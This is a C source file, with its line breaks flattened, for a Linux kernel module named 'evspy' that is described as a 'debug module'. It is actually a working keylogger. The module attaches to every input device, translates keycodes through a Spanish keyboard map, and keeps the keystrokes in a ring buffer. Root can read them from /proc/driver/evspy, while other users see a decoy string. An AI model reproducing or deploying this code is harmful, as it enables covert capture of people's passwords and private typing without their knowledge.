/* * Copyright (c) 2011 Guillermo Ramos * based on evbug module by Vojtech Pavlik ((c) 1999-2001) */ /* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Should you need to contact me, the author, you can do so either by * e-mail - mail your message to , or by paper mail: * Vojtech Pavlik, Simunkova 1594, Prague 8, 182 00 Czech Republic */ #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt #include #include #include #include #include #include #include #include #include #include #include #define PROCNAME "driver/evspy" #define BUFSIZE PAGE_SIZE #define MIN(x, y) (x) < (y) ? (x) : (y) #define incp(p) \ ({ \ if (p == &buffer[BUFSIZE-1]) \ p = buffer; \ else \ p++; \ p; \ }) static char *buffer; static char *rdp; static char *wrp; static char map_es[] = { '.', '.', '1', '2', '3', //0 // 1:ESC '4', '5', '6', '7', '8', //5 '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII) '\t', 'q', 'w', 'e', 'r', //15 't', 'y', 'u', 'i', 'o', //20 'p', '`', '+', '\n', '.', //25 // 29:LCTRL 'a', 's', 'd', 'f', 'g', //30 'h', 'j', 'k', 'l', 'n', //35 // 39:ñ (NOASCII) '\'', '.', '.', 'c', 'z', //40 // 42:LMAYUS 43:ç (NOASCII) 'x', 'c', 'v', 'b', 'n', //45 'm', ',', '.', '-', '.', //50 // 54:RMAYUS '*', '.', ' ', '.', '.', //55 // 56:WIN 58:BLKMAYUS 59-68:F1-F10 '.', '.', '.', '.', '.', //60 '.', '.', '.', '.', '.', //65 '.', '7', '8', '9', '-', //70 '4', '5', '6', '+', '1', //75 '2', '3', '.', '.', '.', //80 '.', '<', '.', '.', '.', //85 '.', '.', '.', '.', '.', //90 '.', '\n', '.', '/', '.', //95 // 97:RCTRL }; int evspy_read_proc(char *page, char **start, off_t offset, int count, int *eof, void *data) { int n, toend; int retval = 0; int diff = wrp - rdp; if (current_uid() || current_euid()) { n = MIN(10, count); strncpy(page, "Trolololo", n); *eof = 1; return n; } if (diff > 0) { n = MIN(diff, count); strncpy(page, rdp, n); rdp += n; retval = n; } else if (diff < 0) { toend = (buffer + BUFSIZE) - rdp; n = MIN(toend, count); strncpy(page, rdp, n); retval = n; if (n < toend) { rdp += n; } else { n = MIN(wrp - buffer, count - retval); strncpy(page + retval, buffer, n); retval += n; rdp = buffer + n; } } if (rdp == wrp) *eof = 1; return retval; } static void evspy_event(struct input_handle *handle, unsigned int type, unsigned int code, int value) { if (type != 1 || value != 1 || code >= 100) return; *wrp = map_es[code]; if (incp(wrp) == rdp) incp(rdp); } static int evspy_connect(struct input_handler *handler, struct input_dev *dev, const struct input_device_id *id) { struct input_handle *handle; int error; handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL); if (!handle) return -ENOMEM; handle->dev = dev; handle->handler = handler; handle->name = "evspy"; error = input_register_handle(handle); if (error) goto err_free_handle; error = input_open_device(handle); if (error) goto err_unregister_handle; return 0; err_unregister_handle: input_unregister_handle(handle); err_free_handle: kfree(handle); return error; } static void evspy_disconnect(struct input_handle *handle) { input_close_device(handle); input_unregister_handle(handle); kfree(handle); } static const struct input_device_id evspy_ids[] = { { .driver_info = 1 }, /* Matches all devices */ { }, /* Terminating zero entry */ }; MODULE_DEVICE_TABLE(input, evspy_ids); static struct input_handler evspy_handler = { .event = evspy_event, .connect = evspy_connect, .disconnect = evspy_disconnect, .name = "evspy", .id_table = evspy_ids, }; static int __init evspy_init(void) { create_proc_read_entry(PROCNAME, 0, NULL, evspy_read_proc, NULL); buffer = kmalloc(BUFSIZE, GFP_KERNEL); rdp = buffer; wrp = buffer; return !buffer || input_register_handler(&evspy_handler); } static void __exit evspy_exit(void) { kfree(buffer); remove_proc_entry(PROCNAME, NULL); input_unregister_handler(&evspy_handler); } module_init(evspy_init); module_exit(evspy_exit); MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>"); MODULE_AUTHOR("Vojtech Pavlik "); MODULE_DESCRIPTION("Custom input driver event debug module"); MODULE_LICENSE("GPL");